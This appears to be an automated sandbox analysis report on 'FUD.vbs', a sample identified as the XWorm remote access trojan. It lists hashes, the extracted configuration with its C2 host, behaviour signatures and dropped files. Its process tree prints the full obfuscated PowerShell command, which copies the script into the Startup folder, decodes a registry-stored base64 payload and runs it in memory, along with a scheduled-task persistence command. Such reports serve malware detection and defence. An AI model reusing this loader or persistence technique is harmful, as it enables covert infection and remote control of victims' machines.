Analysis

  • max time kernel
    284s
  • max time network
    244s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240508-en
  • resource tags

    arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    21-06-2024 20:33

General

  • Target

    FUD.vbs

  • Size

    51KB

  • MD5

    6b83a09ad13160e0b702975741b3ad05

  • SHA1

    6176f88ff38e34b19564af965d63c95a9b52ed7a

  • SHA256

    db947993a090882f53dc6e88e0510d11041a0a5028742db5f93c76061c42b225

  • SHA512

    b2c187a83f6cc43862bb2c9ab263d57ff6972b12590bf0c04bcf3d83a2aff896f9576540a9868882b5f1af84bdbb2ac04c47feea1a577f92b1a8edd3734a5ded

  • SSDEEP

    1536:+64QdHCZQwDF9SkelLyAPh0voJKfI2jygScsddWZrv+Vj:+64ACp9reVUvWII2gJdWZT+Vj

Malware Config

Extracted

Family

xworm

Version

5.0

C2

Jamalhacker-53065.portmap.io:23695

Mutex

kWvWL3qmxl7MyOaZ

Attributes
  • Install_directory

    %Userprofile%

  • install_file

    USB.exe

aes.plain

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Drops startup file 4 IoCs
  • Executes dropped EXE 3 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\FUD.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3888
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -exec bypass -window 1 -Command Copy-Item 'C:\Users\Admin\AppData\Local\Temp\FUD.vbs' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\anti root.vbs'; $demitone = ((Get-ItemProperty HKCU:\Software\Chrome\).Updates); $demitone = -join $demitone[-1..-$demitone.Length];[<##>AppDomain<##>]::<##>('ipsedixitishurrentDomain'.replace('ipsedixitish','C'))<##>.<##>('bulblessoad'.replace('bulbless','L'))([Convert]::FromBase64String($demitone))<##>.<##>('absolutisticallyntryPoint'.replace('absolutistically','E'))<##>.<##>('Inmingleableoke'.replace('mingleable','v'))($Null,$Null)<##>;
      2⤵
      • Drops startup file
      • Adds Run key to start application
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4988
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Windows backup" /tr "C:\Users\Admin\Windows backup"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:2220
  • C:\Users\Admin\Windows backup
    "C:\Users\Admin\Windows backup"
    1⤵
    • Executes dropped EXE
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2032
  • C:\Users\Admin\Windows backup
    "C:\Users\Admin\Windows backup"
    1⤵
    • Executes dropped EXE
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1368
  • C:\Users\Admin\Windows backup
    "C:\Users\Admin\Windows backup"
    1⤵
    • Executes dropped EXE
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:996

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Windows backup.log

    Filesize

    2KB

    MD5

    627073ee3ca9676911bee35548eff2b8

    SHA1

    4c4b68c65e2cab9864b51167d710aa29ebdcff2e

    SHA256

    85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

    SHA512

    3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

    Filesize

    62KB

    MD5

    e566632d8956997225be604d026c9b39

    SHA1

    94a9aade75fffc63ed71404b630eca41d3ce130e

    SHA256

    b7f66a3543488b08d8533f290eb5f2df7289531934e6db9c346714cfbf609cf0

    SHA512

    f244eb419eef0617cd585002e52c26120e57fcbadc37762c100712c55ff3c29b0f3991c2ffa8eefc4080d2a8dbfa01b188250ea440d631efed358e702cc3fecd

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

    Filesize

    1KB

    MD5

    a1e1b2906fd761e72f3c2cd8f27dd8ca

    SHA1

    803061603f5b911cb5bd701a21c9ce408b065f79

    SHA256

    915e39a5c6da978172a51d8802604a592e9f49678847a0a467f30ad1e01bc542

    SHA512

    271d24e135bd4a1fbeff84e65abe76d34338d4929e5d0792bb9f5b4ef15cccf09754ab794eee1d988aa5cd553f0c12a1e18a1155ceabc2521329403a9dbe653b

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

    Filesize

    1KB

    MD5

    d69efb50cef428dcdedfdc72a8764d59

    SHA1

    9d7c09c3f1d51dc685e4ba39e721fe78f81fb0b1

    SHA256

    c2d935f8fb7a25df1a37225f2b3c1865578b03826acabaa555ae42d2be243293

    SHA512

    4f01a5889caab1e38646a55901d0a14eabe0a1400d33ba90ec20b55caa7c50949a4d62b20be87cdbbd2d0d9bb767e0c9a8544ceadae7f9458bf1aa560cbfd0dd

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ldndrbhu.ash.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

    Filesize

    15B

    MD5

    0f1dfa11c990c28f572e3c86f1f4bb05

    SHA1

    98649818374499f7adf3b7b3a2f43b46cdd6e582

    SHA256

    43ac26cbbe3e456a03fea615053557e6c2e8888a4fc11a4ffa717503a167fab2

    SHA512

    62b1c50acef663660b6b47dbe91213141b5506d9bea898dfbfbf1970e0bb531f2ae423e373b1325a6f9fb5db8cd651f6d8f41baa924f991e7289ae248abfbce1

  • C:\Users\Admin\Windows backup

    Filesize

    440KB

    MD5

    0e9ccd796e251916133392539572a374

    SHA1

    eee0b7e9fdb295ea97c5f2e7c7ba3ac7f4085204

    SHA256

    c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221

    SHA512

    e15c3696e2c96874242d3b0731ce0c790387ccce9a83a19634aed4d1efef72ce8b8fa683069950d652b16cd8d5e9daae9910df6d0a75cb74fdbe90ae5186765d

  • memory/4988-11-0x00007FFF96EB0000-0x00007FFF97972000-memory.dmp

    Filesize

    10.8MB

  • memory/4988-20-0x00007FFF96EB0000-0x00007FFF97972000-memory.dmp

    Filesize

    10.8MB

  • memory/4988-21-0x00007FFF96EB0000-0x00007FFF97972000-memory.dmp

    Filesize

    10.8MB

  • memory/4988-15-0x000002122E1D0000-0x000002122E1E0000-memory.dmp

    Filesize

    64KB

  • memory/4988-13-0x000002122E440000-0x000002122E486000-memory.dmp

    Filesize

    280KB

  • memory/4988-12-0x00007FFF96EB0000-0x00007FFF97972000-memory.dmp

    Filesize

    10.8MB

  • memory/4988-0-0x00007FFF96EB3000-0x00007FFF96EB5000-memory.dmp

    Filesize

    8KB

  • memory/4988-10-0x00007FFF96EB0000-0x00007FFF97972000-memory.dmp

    Filesize

    10.8MB

  • memory/4988-6-0x000002122E010000-0x000002122E032000-memory.dmp

    Filesize

    136KB